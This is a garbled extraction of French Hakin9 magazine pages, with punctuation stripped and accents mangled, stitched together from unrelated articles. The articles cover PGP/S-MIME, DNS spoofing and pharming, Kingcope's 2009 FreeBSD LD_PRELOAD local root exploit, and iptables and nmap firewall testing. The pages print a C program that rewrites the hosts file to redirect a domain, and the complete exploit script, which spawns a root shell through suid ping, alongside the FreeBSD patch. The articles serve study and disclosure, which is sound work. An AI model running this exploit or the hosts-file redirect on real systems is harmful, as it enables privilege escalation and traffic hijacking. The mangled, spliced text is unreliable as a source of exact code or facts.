Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 23: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

